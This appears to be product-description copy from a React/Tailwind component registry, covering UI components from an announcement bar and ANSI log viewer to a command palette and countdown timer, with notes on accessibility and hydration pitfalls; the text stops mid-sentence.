Typed, accessible, theme-aware React/Tailwind components installable by the shadcn CLI or your AI coding agent. Free atoms plus composed Pro blocks.
A dismissible bar pinned above your header for a message the whole site needs to see: a launch or new release, a promo, sale or free-shipping offer, a scheduled-maintenance or downtime window, an incident or status notice, a beta or early-access note, a cookie or GDPR notice, a plan-expiring or payment-failed warning, or a 'you are viewing the docs for an old version' banner. Common asks it answers: "announcement bar react", "shadcn announcement bar", "site-wide banner component", "top banner react", "notification bar react", "promo bar component", "dismissible banner react", "sticky top banner", "cookie consent banner react", "maintenance notice banner", "status or incident banner", "free shipping bar", "docs version notice banner", "header banner tailwind", "site notice component", "banner that remembers dismissal", "persist dismissed banner localStorage", "banner flashes before hiding on load", "hydration mismatch localStorage banner", "announcement bar next.js app router". Give it an id and it remembers the dismissal in localStorage, so a visitor who closes it does not meet it again on the next page or the next visit; bump version (or the id) when the wording changes and it comes back for everyone. It renders nothing until it has mounted, which is the part that is easy to get wrong on your own: reading localStorage while rendering makes the server and the browser disagree and React throws a hydration mismatch, and rendering the bar first and hiding it afterwards flashes a banner the user already dismissed on every single page load. The bar is a labelled landmark region rather than a plain div, so it is reachable by landmark navigation instead of being an unnamed strip of text before the header; the close button has a real accessible name and a focus ring, the leading icon is aria-hidden because it repeats the text, and dismissible={false} drops the button entirely for a banner that must stay put. Two looks — primary is a solid accent bar, default is a muted bar with a bottom border — both from shadcn tokens, so it follows light and dark with the rest of your theme. Takes an action slot for the trailing 'Read more' or 'Upgrade' link and calls onDismiss so you can log it. Official shadcn/ui has nothing that does this: alert is a static box that cannot be closed and remembers nothing, alert-dialog is a modal that blocks the page until answered, and sonner is a toast that floats in and disappears on a timer — none of them is a persistent top-of-page bar, and none of them survives a page load. lucide-react is the only dependency, for the close icon.
Renders raw terminal output — escape sequences and all — as styled, theme-aware HTML. Reach for it wherever a process's own output has to be shown inside a page: CI and build logs, deploy and release output, npm/pnpm/cargo/docker build output piped into a dashboard, test-runner results, job and worker logs in an admin panel, an agent or LLM tool-call transcript, git and lint output in a code-review UI, or the output pane of a web terminal. Common asks it answers: "ansi to html react", "render ANSI colours in the browser", "ci log viewer component", "terminal output component react", "build log with colours", "convert ANSI escape codes", "shadcn log viewer", "docker logs in a web UI", "colored console output in React". It handles the parts a hand-rolled converter gets wrong. A carriage return moves the cursor instead of breaking the line, so a progress bar that redraws itself stays one line reading "100%" rather than turning into a hundred lines of noise — and the tail a shorter redraw does not cover survives, exactly as on a real terminal. Erase-in-line (all three modes), backspace, the 16 named colours, the full 256-colour palette including the 6x6x6 cube and the 24-step grey ramp, 24-bit truecolor, both the semicolon and the colon spelling of extended colour that libvte and kitty emit, bold, dim, italic, underline, strike and reverse video. Every sequence it does not implement — cursor moves, hide-cursor, alternate-screen, window-title OSC — is consumed rather than printed as visible gibberish, which is the usual failure of a parser that only knows about the colour sequence. OSC 8 hyperlinks keep their label and drop their target deliberately: a URL in a log is exactly as attacker-supplied as the log is, and turning it into a live anchor would put javascript: one click away. Colour follows your theme instead of a fixed terminal palette — the 16 named colours are light/dark pairs chosen against the panel, and backgrounds are drawn as a translucent wash rather than a solid block, so text can never land on a saturated slab below contrast in one theme or the other. The scroll region takes keyboard focus, since a log that only scrolls with a mouse puts the right-hand end of every long line out of reach. The optional line-number gutter is not selectable, so dragging across the log copies the log and not a column of numbers, and maxLines keeps the end of the log — the failure is at the bottom — while saying out loud how many earlier lines it dropped instead of quietly presenting a suffix as the whole thing. No dependencies and no hooks, so it renders inside a React server component with no "use client" of its own and ships no client JavaScript. shadcn/ui has nothing of the kind: there is no log, terminal or ANSI item in its registry, and a plain code block shows escape sequences as literal characters.
A textarea that grows as you type and stops at a maximum height, then scrolls. Reach for it wherever a fixed-height box is the wrong shape: a chat, message or AI prompt composer; a comment, reply or code-review box; a commit message or pull-request description; a bio, note, changelog, release note or feedback field; a support ticket or contact form; a task or issue description; and any "tell us more" field where one line is too small and a tall empty box wastes the page. Common asks it answers: "auto resize textarea", "auto-growing textarea", "expanding textarea react", "textarea that grows with content", "auto height textarea", "textarea min rows max rows", "chat input that expands", "message composer textarea", "prompt input that grows", "ChatGPT-style input react", "shadcn autosize textarea", "shadcn textarea auto grow", "react-textarea-autosize alternative", "autosize textarea without a library", "textarea scrollHeight resize", "growing text input component". shadcn/ui's own textarea is a fixed-height styled element with a drag handle in the corner; this replaces that behaviour, and turns the handle off, because the height is now the field's own business. minRows sets the height it sits at when empty, maxRows caps the growth before it starts scrolling. The reason to install it rather than paste the four-line version is that the four-line version is subtly wrong in three ways that only show up on somebody else's screen. It measures a row from the element's real computed line-height — and falls back to the font size where that computes to "normal", which is what it computes to unless you set it explicitly, and which parses to NaN and produces a field with no height at all. It adds the border back on a border-box element, because scrollHeight counts content and padding but not border, so the naive arithmetic is short by a pixel or two on every keystroke and the field creeps. And it watches the element rather than the window, so the height is recomputed when a collapsing sidebar, an opening drawer, a resizing split pane or a tab becoming visible rewraps the text — none of which fire a window resize — while deliberately ignoring height changes, since reacting to its own writes would feed the observer straight back into itself. It renders at roughly the right height before hydration through the rows attribute, so there is no first-paint jump in Next.js, and it is correct controlled or uncontrolled: a controlled field re-measures on the value it is given, an uncontrolled one on its own input. It keeps the native <textarea> and forwards a ref to it, so labels, placeholders, autofocus, maxLength, form libraries such as react-hook-form, and native validation all work unchanged. Styled with shadcn tokens (border-input, ring, muted-foreground) so it follows light and dark, and it ships zero dependencies beyond your own cn util — no icon package, one file.
A facepile in one prop: pass a list of people and a maximum, get a row of overlapping circular avatars with everything past the maximum collapsed into a "+N" badge. Reach for it wherever a set of people is shown on one line: team members on a project or workspace card, assignees and reviewers on an issue or pull request, meeting and calendar attendees, who is online or currently viewing a document, a "shared with" row on a file or folder, participants in a thread or channel, contributors on a repo, players in a lobby, guests on a booking, and the member count on an organisation or team settings row. Common asks it answers: "avatar group", "avatar stack", "facepile", "overlapping avatars", "stacked profile pictures", "user avatars in a row", "+N more avatars", "avatar overflow count", "assignee avatars", "who is online avatars", "team member avatars", "participant avatars", "avatar list with remaining count", "react facepile component". Official shadcn/ui does now group avatars — its `avatar` item ships `AvatarGroup` (the negative margin that overlaps the circles) and `AvatarGroupCount` (a styled slot for the overflow badge), and if you are already composing Radix avatars by hand those are the pieces you want. The difference is who does the arithmetic. Official gives you the styling and leaves the list to you: you slice it at the cut-off yourself, work out what N is, render each `Avatar` with its own `AvatarImage` and `AvatarFallback`, and put the number inside `AvatarGroupCount` — the overflow logic is rewritten at every call site, which is where it goes wrong when the list is shorter than the maximum or exactly equal to it. This one takes `avatars` (an array of `{ src?, alt }`) and `max` (default 4), does the slicing and the counting once, and renders nothing extra when there is no overflow. An entry with no `src` falls back to the first letter of its `alt`, so a half-loaded list still reads as people rather than as broken images, and every avatar keeps its `alt` as its accessible name so a screen reader announces the names instead of a row of unlabelled images. It is plain `img` elements and Tailwind tokens — no Radix package, no dependencies at all — so it drops into a project that has not installed the official avatar, and the ring around each circle is drawn in the *background* token rather than a fixed white, which is what keeps the overlap legible on a card, a striped table row and a dark surface alike.
The asymmetric panel grid behind most modern feature sections: a set of cards on one grid where a few cells are deliberately two columns wide or two rows tall, so the section reads as a composition instead of a row of identical boxes. Use it for a landing page features section, a product tour, a "why us" grid, a homepage hero collage, a portfolio or an app-store style showcase. Common asks it answers: "bento grid", "bento box layout", "bento cards", "bento section", "bento blocks", "features bento", "grid layout with different sized cards", "Apple/Linear-style feature grid", "masonry-ish marketing grid", "asymmetric card grid". shadcn/ui ships no grid: the composition kits it does have — item, field, button-group, input-group — are flex rows that arrange the parts of one control or one row, and none of them lays tiles out across a page, so this grid is hand-rolled every time — and hand-rolling it fails in one specific way that is hard to spot: Tailwind only emits classes it can find written out in your source, so the natural `className={`col-span-${n}`}` compiles to nothing and every cell silently renders one column wide in the production build while looking correct in dev. This component keeps every span it can emit as a literal class in a lookup table, so `colSpan={2}` and `rowSpan={2}` survive the compiler. Two parts: `BentoGrid` takes `columns` (2, 3 or 4) and steps up from a single column on phones rather than fixing a track count, and `BentoGridItem` is the panel surface plus its span controls. Rows are sized minmax(11rem, auto) so equal cells line up and a tall cell is visibly twice the height; and because every layout is two columns at md and only widens at lg, each span is capped per breakpoint to the tracks that tier actually has — CSS Grid answers an over-wide span by adding an auto column, not by clamping it, and the first cell to land in that phantom column is sized by its own content. It is layout only and renders no card content of its own, so a cell can hold copy, an image, a chart or a feature-card. The grid deliberately does not use grid-auto-flow: dense — dense packing lets a later cell backfill an earlier gap, which leaves the Tab order and a screen reader reading the section in a different order than the eye sees it — and the cell is a plain div rather than a list item, so your own headings keep the document outline. No state, no effects and no "use client", so it renders as a server component, and it has zero npm dependencies; the surface uses shadcn tokens (card, card-foreground, border) so it follows light and dark themes. Distinct from feature-card, which is the icon/title/description content of one cell: this is the grid the cells sit on.
The bar that appears once rows are selected in a table or list — it shows "3 items selected", holds your bulk actions (delete, archive, export, assign, move, approve, mark as read) as children, and gives the user a way out of selection mode. Use it with any multi-select surface: a data table with row checkboxes, an admin users/orders/invoices/subscriptions list, a file manager or media library, an inbox, a moderation or approval queue, a CRM contact list, a photo grid, or a mobile-style edit mode. Common asks it answers: 'bulk action bar', 'bulk actions toolbar', 'selection toolbar', 'batch actions', 'n selected bar', 'contextual action bar', 'what to show when table rows are checked', 'react bulk actions component', 'table row selection toolbar react', 'shadcn data table bulk actions', 'tanstack table selected rows toolbar', 'react-table bulk actions', 'show toolbar when checkbox is selected react', 'select all rows then delete react', 'batch delete ui react', 'bulk edit bar react', 'multi select toolbar react', 'gmail style selection bar', 'floating action bar for selected items', 'sticky bottom bar with selected count', 'how many rows selected component', 'clear selection button react', 'exit selection mode react', 'admin table bulk operations', 'selected count aria live'. shadcn/ui ships no such component — its data-table recipe leaves selected-row UI entirely to you; this packages the part everyone rewrites. It drops straight onto that recipe: pass table.getFilteredSelectedRowModel().rows.length as count and table.resetRowSelection as onClear, and nothing else has to change. It hides itself at count 0, so you render it unconditionally and just pass the selected count. The count is announced to screen readers from a live region that stays mounted even at zero (a live region inserted together with its text is not reliably announced, so a bar that unmounts completely would swallow the first update), and the visible count is aria-hidden to avoid a double read. Escape clears the selection, ignoring already-handled key presses so a dialog opened from one of your actions still closes normally. It is a labelled region, not an ARIA toolbar, because a toolbar is expected to implement roving-tabindex arrow navigation and claiming the role without it reads worse than plain tab order. Pass variant="floating" (default) for a pinned bar above the page bottom or "inline" to sit in the flow above the table; itemName/itemNamePlural handle the noun and irregular plurals, clearLabel renames the exit control, and label names the region itself. Styled with shadcn tokens (background, border, muted-foreground, accent, ring) for automatic light/dark theming, with zero dependencies beyond your cn util. Distinct from toast, which reports a result after the fact; this one hosts the actions themselves.
A year of daily counts as a grid of shaded squares — the GitHub-style contribution graph, drawn for whatever your app counts per day: commits, deploys, orders, sign-ins, posts, workouts, lessons, support tickets, API calls, or a habit tracker's streak. Pass data as [{ date: '2026-08-10', count: 12 }] and it renders 53 columns of 7 squares with month and weekday headers; sparse data is fine, since a day with no row is drawn as a day with nothing, and two rows for the same day are summed rather than one silently winning. Shading is by quartile of the days that had any activity, so a single 500-commit day does not flatten the rest of the year into one pale block the way scaling against the maximum does — pass thresholds to cut the levels yourself. Dates are held as integers, days since the epoch in UTC, and never as Date objects: new Date('2026-08-10').getDay() is parsed as UTC midnight and answers with the previous day anywhere west of Greenwich, which silently rotates the whole grid by one row, and it is the single most common defect in a hand-rolled contribution graph. Nothing reads the clock either — the window is anchored to the last date in your data, not to Date.now(), so the server and the browser always render the same markup. It is a real table with month columns, weekday row headers and a screen-reader name on every square ('12 commits on Monday, August 10, 2026'), so the year is readable to somebody who cannot tell the four shades apart; conveying a value by colour alone fails WCAG 1.4.1, and the colour key is hidden from assistive technology instead of being announced as five unlabelled swatches. The grid scrolls horizontally on a narrow screen and takes keyboard focus, because a scrollable region that cannot be reached by keyboard puts a year of data out of reach. Shades are one opacity ramp of your theme's primary token, so it follows light and dark without a palette of its own. No dependencies and no hooks, so it renders inside a React server component with no 'use client' of its own and ships no client JavaScript. Official shadcn/ui has nothing that draws this: calendar is a react-day-picker date picker for choosing a day (it pulls in date-fns and the button component), and chart is a Recharts wrapper — neither plots a value per calendar day.
The "42 left" that sits under a field with a limit — a bio, a post box, a product description, an SMS body, a subject line — counting the characters a person can actually see rather than the code units the string happens to be made of, and showing the limit being crossed instead of quietly cutting the text off. Reach for it anywhere a length cap is real: a profile bio, headline or status; a comment, review, reply or chat composer; a post or tweet-style box; a product title and description; a support ticket, feedback or contact form; an SMS or push notification body; an email subject line; a meta description, OG description or alt text; a commit message or release note; a job posting, listing or classified; a survey free-text answer; and any textarea in front of a column that will reject what is too long. Common asks it answers: "character counter react", "textarea character count", "characters remaining react", "react character limit component", "maxlength counter react", "count remaining characters", "twitter style character counter", "shadcn character counter", "shadcn textarea character count", "string length wrong with emoji", "emoji counts as 2 characters javascript", "javascript count emoji as one character", "grapheme count javascript", "Intl.Segmenter count characters", "count unicode characters correctly", "utf8 byte length of a string", "varchar length frontend validation", "accessible character counter", "aria-live character count screen reader", "character count announced every keystroke", "文字数カウンター react", "絵文字 文字数 カウント". Official shadcn/ui has nothing for this: across its sixty-three components maxLength, charCount, Segmenter and codePoint are all zero hits, textarea is an eighteen-line bare element, and the two length matches inside field are errors.length in FieldError — so an agent asked for a counter writes value.length inline, and value.length is wrong for everyone whose text is not plain Latin. JavaScript counts UTF-16 code units, so one emoji is 2, a flag is 4, a thumbs-up with a skin tone is 4, and a family is 8. The writer is charged four characters for one glyph, and when they delete it the remaining count jumps back by four — which reads as a bug in the box, because it is one. Worse, the number on screen and the number the server enforces are then counted by different rules with nothing to warn you: Postgres varchar(n) and MySQL utf8mb4 count code points, a byte-bounded column counts bytes, and the field says "3 characters left" onto a save that comes back rejected. So the unit is a prop — grapheme by default, because that is the number a person would give you, with codePoint, utf16 and utf8 for the three things a back end usually means — and there is a crlfNewlines option for the mismatch nobody looks for, since a textarea reports every line break as \n while a submitted form normalises it to \r\n, leaving a ten-line post four characters longer on the wire than in the box. The second failure is the fix everyone reaches for first. Putting maxLength on the field looks like enforcement and behaves like a trapdoor: paste 400 characters into a 280 field and the browser keeps the first 280 and discards the rest with no event, no error and nothing on screen — the writer sees a full box, no complaint, and a sentence that ends mid-word, and what is missing is invisible precisely because it is missing. This component never sets it. The count goes negative and turns destructive, over is true, aria-invalid goes on the field, and refusing the save becomes one decision you make in the one place that already knows why. truncateToCount is exported for the times trimming really is the answer — a preview string, an OG description — and it walks grapheme clusters, so a UTF-16 or byte limit still lands on a boundary a person would recognise rather than leaving half a surrogate pair behind. Accessibility is the other half, and it is where hand-rolled counters do the most damage. The reflex is to wrap the number in aria-live, which turns every keystroke into an interruption; because a screen reader queues what it is told, the count ends up trailing several characters behind the typing while the letters themselves go unheard, and the field becomes unusable by the people the live region was added for. Here the counter is tied to the field with aria-describedby, read once on focus and silent after, and a separate polite region speaks only when the value crosses between comfortable, close to the limit and past it — three announcements in the life of a field, each of them news, each carrying the count at that moment. It stays quiet on mount too, so opening an existing bio that is already over does not talk at someone who has not typed anything yet. The visible number is aria-hidden so the description read on focus is "42 characters remaining" rather than a bare "42", the digits are tabular so the counter does not twitch sideways while you type, and every label is an overridable function so it translates. countChars, truncateToCount, charCountStatus, charCountMessage and the useCharCounter hook are all exported, so the same count that draws the counter can disable the submit button and back a zod refine instead of three places disagreeing. Within pulld it is the piece that goes under autosize-textarea, which is the field itself; it shares its Segmenter discipline with middle-truncate, which solves the same UTF-16 problem on the display side; and it follows the same describedby-plus-band-announcement pattern as password-strength, the other meter that lives under an input. One file, no dependencies at all — not even an icon — and every colour is a shadcn token, so it follows light and dark.
A read-only code panel: a bordered, scrollable box that shows a snippet with a copy button in the corner and an optional uppercase language label. Reach for it whenever a page has to show code the reader will copy rather than edit — install and CLI commands in a README, docs site or MDX page (Nextra, Docusaurus, Starlight, Storybook docs all render into exactly this shape), curl and SDK examples in API reference, a GraphQL or SQL query, a .env sample or YAML/JSON config, a Dockerfile or CI workflow fragment, a webhook payload, a stack trace pasted into a support article, the "run this in your terminal" step of an onboarding flow, the snippet a developer landing page opens with, and the code an AI assistant hands back inside a chat answer. Common asks it answers: "code block component react", "code snippet component", "code block with copy button", "copy code button react", "pre code with copy", "styled pre tag react", "terminal command block", "cli command component", "docs code sample component", "mdx code block component", "shadcn code block", "shadcn ui code snippet", "readonly code viewer", "snippet with language label", "copyable command block", "react-syntax-highlighter alternative", "code block without syntax highlighting". Official shadcn/ui has nothing here and is not close: across all sixty-three of its components there is not one <pre> element, not one clipboard call, and no code or snippet item of any kind — so this is normally rebuilt inline, and the inline version has three failures that all look fine on the way past. A copy button revealed only by group-hover cannot be reached by a keyboard at all; here it lives in a focus-within wrapper, so tabbing to it makes it appear. A copy that swaps its icon and stops there tells a screen reader nothing, because a changed icon is not an event; the copy control announces itself (it composes pulld copy-button rather than repeating it). And a scrollable panel with nothing focusable inside it is a region a keyboard user cannot scroll, so the right-hand end of a long line is mouse-only — the panel is a tab stop with a visible focus ring for that reason (WCAG 2.1.1). Deliberately a container and not a highlighter: pass a code string and it renders semantic <pre><code> with data-language set, which costs no bundle and stays out of the way if you later pipe the same string through Shiki, Prism, highlight.js or rehype-pretty-code — where react-syntax-highlighter drags a grammar bundle into a page that only wanted to display nine lines. Long lines scroll horizontally rather than wrapping, because a wrapped command is a command that gets pasted wrong. Within pulld the boundary is by what the string is, not how it looks: this one is for static text a human wrote, copy-field is the single-line value with the button docked inside it (an API key, a share link), ansi-log is for a process's own output with escape codes still in it (CI, build and deploy logs), and diff-view is for before and after rather than one snippet. Extra props land on the wrapper div, every colour is a shadcn token so it follows light and dark, and there is no dependency beyond your cn util.
A colour picker built from a hex/rgb/hsl text box and native hue, saturation and lightness sliders, with optional alpha and preset swatches. Reach for it wherever a person chooses a colour rather than a designer does: a theme or appearance editor, brand and accent colours in app settings, design-token and CSS-variable editors, label/tag and project colours, calendar-event and category colours, chart series colours, highlight and annotation colours, avatar and workspace backgrounds, status and priority colours, a whiteboard or drawing tool's palette, and admin panels that store a colour on a record. Common asks it answers: "color picker", "colour picker", "hex color input", "color input field", "swatch picker", "hue slider", "rgb picker", "hsl picker", "alpha/opacity picker", "theme color editor", "react-colorful alternative", "react-color alternative", "shadcn color picker" — the control usually pulled in as react-colorful, react-color, @uiw/react-color or an ad-hoc <input type="color"> that gives you no keyboard story and no text entry. Official shadcn/ui ships no colour component of any kind: its slider is a Radix range primitive with no notion of colour, and input is a bare text box you would still have to parse and validate yourself. It settles the two things hand-rolled colour pickers get wrong. First, hue has to survive grey: with the hex string as the state of record, dragging lightness to 0 destroys the hue, so dragging back up returns red instead of the blue you started with — here h/s/l is the state and the hex is derived, so black still remembers it was blue, including under a controlled parent that echoes the value back. Second, a pasted hex has to come back out byte-identical: the conversion keeps full precision and rounds exactly once, so #123456 never drifts a digit just by being displayed (verified over all 16,777,216 sRGB colours). Beyond that: the box reads hex in all four widths (#abc, #abcd, #aabbcc, #aabbccdd, with or without the hash), rgb()/rgba() and hsl()/hsla() in both the comma and the modern space-with-slashed-alpha forms, and percentages wherever CSS allows them; out-of-range channels clamp and hues wrap the way a browser reads them, and blur rewrites the entry into canonical form so the reading is visible rather than silent. Text that cannot be read stays on screen to be fixed instead of being deleted, marks the field aria-invalid with a polite live message, and is withheld from onValueChange and from the hidden form input so nothing downstream has to validate twice. Colour names are refused by name rather than given a guessed value. The sliders are real range inputs, so arrow keys, Home/End and screen-reader value text come for free instead of being bolted onto a pointer-only saturation square; each is labelled and reports its own unit. Alpha is opt-in and round-trips through 8-digit hex; giving the field a name posts the colour through a hidden input; parseColor and formatColor are exported as plain functions for the rest of the app to share. One file, themed with shadcn tokens so it follows dark mode, no dependencies beyond React.
A ready-made ⌘K command palette: one component you drop in, open with a keyboard shortcut, and fill with actions. Reach for it the moment a nav bar stops being able to hold everything — an admin panel with forty routes, a dashboard whose actions have no button of their own, a docs or knowledge-base site that needs jump-to-page search, an editor or IDE-like tool, a settings surface buried three levels deep, a B2B app where power users live all day, and any product where "where is that page again" is a support question. It covers global search, jump-to-page navigation, quick actions, and shortcuts for people who would rather not touch the mouse. Common asks it answers: "command palette", "command palette react", "cmd+k menu", "ctrl+k search", "command menu", "quick switcher", "spotlight-style search", "raycast-style launcher", "jump to anything", "action launcher", "global search dialog", "search modal react", "cmdk alternative", "kbar alternative", "command palette without cmdk", "shadcn command dialog example", "how to build a command palette", "nextjs command palette", "react router command palette", "vite react cmd+k", "tailwind command menu", "keyboard shortcut to open modal react", "cmd+k hotkey react hook", "detect cmd or ctrl cross platform", "focus trap in a dialog react", "restore focus after closing a modal", "aria-activedescendant combobox listbox", "fuzzy search with highlighted matches react", "highlight matching characters in search results", "recently used items localStorage", "async search results in a dialog", "algolia docsearch alternative", "コマンドパレット react", "⌘K メニュー 実装". shadcn/ui does ship command, and the difference is what you get handed: that one is nine primitives — Command, CommandDialog, CommandInput, CommandList, CommandGroup, CommandItem, CommandEmpty, CommandSeparator, CommandShortcut — wrapping the cmdk npm package and pulling in the dialog item, which you then assemble into a palette yourself. This is a single component that depends on nothing but lucide-react: no cmdk, no dialog, no assembly. It arrives with the parts that are otherwise left to you — recently used entries surfaced when the input is empty and remembered across visits in localStorage, fuzzy filtering that highlights the matched characters in each result, grouped sections, per-item keywords so an entry is findable by words that are not in its label, displayed shortcut keys, wrap-around arrow-key navigation, and an async source hook so results can come from your own endpoint instead of a hard-coded array. The hotkey is one prop and it is cross-platform without being configured: the handler takes the command key or the control key, so ⌘K on a Mac and Ctrl+K on Windows and Linux both open it, which is the check a hand-rolled listener usually hardcodes one way. The fiddly part of a palette is not the list, it is the focus: opening it traps focus so Tab cannot wander into the page behind, closing it puts focus back on whatever the reader was on, and the highlighted row is exposed with combobox and listbox roles plus aria-activedescendant, so the active option is announced while the text cursor stays in the input where typing belongs. If you would rather not run search infrastructure, the exported pulldSearchSource helper points the same async source at pulld Search for hosted semantic results.
Inline two-step confirmation on the button itself, with no modal and no dialog state to wire up: the first click arms it — the label swaps to "Confirm?" and the button turns destructive — and only the second click calls onConfirm. It disarms itself after a timeout (3s by default) and on blur, so a stray double-click, a scroll away, a Tab out or a click somewhere else can never fire the action; that pair of escapes is the whole difference between this and the naive version, which is armed forever and goes off the next time the row is clicked for any reason at all. Reach for it wherever a modal would outweigh the action, which is almost every destructive control that lives inside a list rather than on a page: a delete, remove, archive or discard button in a table row, a card, a kanban card, a list item, a file or media row, a comment or post, a cart line, an uploaded attachment, a saved filter or view, a tag or label, or a toolbar; removing a member, collaborator, invite or seat; revoking an API key, token, session or device; deleting a webhook, cron job, alert rule or integration; disconnecting an OAuth app; clearing a cache, a log or a draft; unsubscribing; leaving a channel or workspace; resetting one setting back to its default. Common asks it answers: "confirm before delete without a dialog", "two-step delete button react", "click twice to confirm", "double click to delete", "are you sure button shadcn", "shadcn confirm button", "inline confirmation button", "confirm action without modal", "destructive button with confirmation", "delete button in a table row", "delete confirmation table row react", "undo-less delete confirmation", "replace window.confirm react", "react-confirm-alert alternative", "sweetalert alternative shadcn", "useConfirm hook alternative". Props: `onConfirm` (fired only on the confirming click), `confirmText` for the armed label, `timeout` in milliseconds, plus everything else a `<button>` takes. It is one real `<button>` element — Enter and Space confirm it, `disabled` is honoured, your `className` is merged through `cn`, and it defaults to `type="button"` so an armed click inside a form cannot submit it by accident. The armed state is exposed as `data-armed` for styling and announced through a permanently mounted polite live region, so the change is never carried by colour and a label swap alone — which is exactly what a screen reader would otherwise miss, since nothing about the second click announces itself. Theme-aware through the destructive tokens, zero dependencies (no Radix, no portal, no icon package, one file), and `"use client"` because it holds a state and a timer. What official shadcn/ui offers instead is alert-dialog: a modal that pulls in @radix-ui/react-alert-dialog, renders through a portal, traps focus and needs open state wired up — right for a page-level, consequential confirmation, and far too heavy to put on all twenty rows of a table. Official button has a destructive variant but no confirmation behaviour at all, and official alert is a static message. For an action severe enough that a second click is not enough — deleting a production project, a database or an account — use type-to-confirm, which makes the user type the name first. Composes with loading-button when the confirmed action is slow, and sits naturally next to bulk-action-bar, which confirms the same way for a whole selection rather than one row.
A one-click copy control: a square icon button that writes a string to the clipboard, swaps its clipboard icon for a tick, announces "Copied" to a screen reader, and resets itself a couple of seconds later. Reach for it wherever a value on the page is there to be taken somewhere else: an install or CLI command in docs, a curl or SDK example, an API key, token or client secret in a settings screen, a share or invite link, a webhook or callback URL, a connection string, a git SHA or branch name, a wallet or contract address, an invoice, order, ticket, trace or request ID, a coupon or referral code, a two-factor recovery code, an error message or stack trace a user is about to paste into a bug report, a generated password, a colour hex in a palette, and the value cell of any table or key/value list. Common asks it answers: "copy button", "copy to clipboard button react", "copy icon button", "clipboard button shadcn", "shadcn copy to clipboard", "copy button with copied state", "copy with tooltip feedback", "copy code button", "copy API key button", "copy link button", "useCopyToClipboard alternative", "react-copy-to-clipboard alternative", "copy button accessible". shadcn/ui has nothing that touches the clipboard — not in button, not in input-group, not anywhere in its sixty-odd components — so this is the piece everyone rebuilds inline, and the inline version is where the bugs live. Distinct from pulld copy-field, which is the read-only input with the value shown beside the button, and from pulld code-block, which is the scrollable panel that reveals one on hover; both compose this button rather than repeating it. What the four-line inline version gets wrong, in order: it forgets `type="button"`, so pressing it inside a form submits the form; it swaps the icon and nothing else, so a screen reader user gets no feedback at all, since a changed icon is not an event; it leaves the timeout running, so a button unmounted mid-countdown sets state on a dead component; and it treats the write as if it always succeeds. Here the button is `type="button"`, the copied state is announced through an sr-only `aria-live="polite"` region rather than through the icon, both icons are aria-hidden so nothing reads "check" out loud, and the reset timer is cleared on unmount and whenever `timeout` changes. `navigator.clipboard.writeText` rejects on an insecure origin, inside a sandboxed iframe, or when the document is not focused; a rejected write leaves the button resting instead of flashing a success it did not get, so nothing lies to the user — wrap it if you also want an error toast. The API is two props on top of a real button: `value` is the string to copy and `timeout` (default 2000ms) is how long the tick stays. Everything else is a normal button — `disabled`, `title`, `id`, `data-*` and event handlers all pass through, and your own `aria-label` replaces the built-in "Copy to clipboard" / "Copied" pair when you want to name what is being copied ("Copy API key"), with the live region still announcing the result. Styled with shadcn tokens (input, accent, ring, muted-foreground) so it follows light and dark mode, `className` merges rather than fights, and the focus ring is `focus-visible` so pointer users never see it. One file, two lucide icons, no clipboard library.
Read-only field that shows a value with a copy button docked at its right edge: one click copies, and focusing or clicking anywhere in the field selects the whole value. Use it wherever a generated string is read once and copied — an API key or secret, an access token, a client ID and client secret, a database connection string, an invite or share link, a webhook or callback URL, a license key, recovery or backup codes, a referral code, a wallet address, an account, order or transaction ID, an ngrok or preview URL, the CLI command your onboarding tells the user to run. Common asks it answers: 'copy to clipboard input react', 'readonly input with copy button', 'input with copy button shadcn', 'copy field component', 'api key field react', 'display api key with copy button', 'secret token field react', 'show connection string with copy', 'invite link copy component', 'share link input with copy', 'webhook url field react', 'select all text on focus react', 'select input value on click', 'react copy to clipboard component', 'react-copy-to-clipboard alternative', 'copy button next to text input', 'navigator.clipboard undefined', 'clipboard.writeText not working localhost', 'copy fails inside iframe', 'copy to clipboard without https', 'shadcn copy input', 'next.js copy field'. Select-on-focus is the part that matters and the part hand-rolled versions leave out: navigator.clipboard.writeText rejects on an insecure origin, inside a sandboxed iframe, or when the document is not focused, and a copy button that swallows that error leaves the user with a value they cannot get out of the box. Here the whole value is already selected, so Ctrl/Cmd+C works, and it is reachable from the keyboard because focus alone selects it. The button announces itself properly too — it composes pulld's copy-button, so its accessible name flips between "Copy to clipboard" and "Copied", a polite live region says "Copied" for a screen reader, the icon is aria-hidden, and the copied state reverts after a timeout you can set. The field renders in monospace so an O and a 0 are distinguishable, forwards a ref so you can focus it from a shortcut, and takes an aria-label (default "Copyable value"). Official shadcn/ui has no copy field: its input-group is an assembly kit of six parts (InputGroup, InputGroupAddon, InputGroupButton, InputGroupText, InputGroupInput, InputGroupTextarea) that pulls in button, input and textarea and contains no clipboard call, no read-only handling and no selection behaviour — you would be writing all of the above yourself. Two files, no npm dependencies, shadcn tokens, dark mode included.
A live countdown timer to a future moment — it re-renders every second, ticks down, never goes negative, and fires an onComplete callback once when it reaches zero. Use it wherever you're waiting on a deadline: a product/waitlist launch or "coming soon" page, a sale/offer/flash-deal or cart-reservation expiry, an OTP/verification resend or rate-limit cooldown, an auction or bid close, a webinar/event/stream start time, a maintenance window, a booking or checkout hold, or a quiz/game round timer. Common asks it answers: "countdown timer react", "react countdown component", "countdown to a date react", "days hours minutes seconds react", "sale ends in timer", "flash sale countdown", "launch countdown component", "coming soon countdown", "auction ending timer", "otp resend countdown", "resend code in 30 seconds", "cooldown timer react", "event starts in countdown", "react-countdown alternative", "useCountdown hook", "countdown timer without a date library", "shadcn countdown", "shadcn timer component", "countdown timer tailwind". Pass `to` as a Date, an ISO string, or epoch milliseconds. By default it renders labeled days/hours/minutes/seconds segments (the days block appears only once at least a day remains, or force it with showDays) using shadcn card/border/foreground tokens with tabular-nums so digits don't jitter. For a fully custom face — a compact "02:14:33", a circular ring, marketing hero digits — pass a render-prop child that receives { days, hours, minutes, seconds, total, isComplete } and return your own markup. The reason to install one rather than write a setInterval is that the obvious version counts instead of looking. Decrementing a stored number once a second drifts, and it drifts in the direction that matters: a browser throttles a background tab's timers to once a minute or slower, so a tab left open on a sale page comes back reading minutes high and claims time that is already gone. Every tick here recomputes from the target and a fresh Date.now(), so a throttled tab, a laptop waking from sleep and a slow frame all self-correct on the next tick rather than accumulating. onComplete is keyed to the deadline it fired for, so changing the interval — or any re-render that re-arms the timer — cannot fire it twice for the same moment, while giving it a new `to` still can; an invalid date renders nothing instead of NaN. It is SSR/hydration-safe (server and first client render agree, then a real clock takes over) and accessible: role=timer with an aria-atomic sr-only sentence ("2 days, 14 hours, 33 minutes remaining") while the visual segments are aria-hidden, so a screen 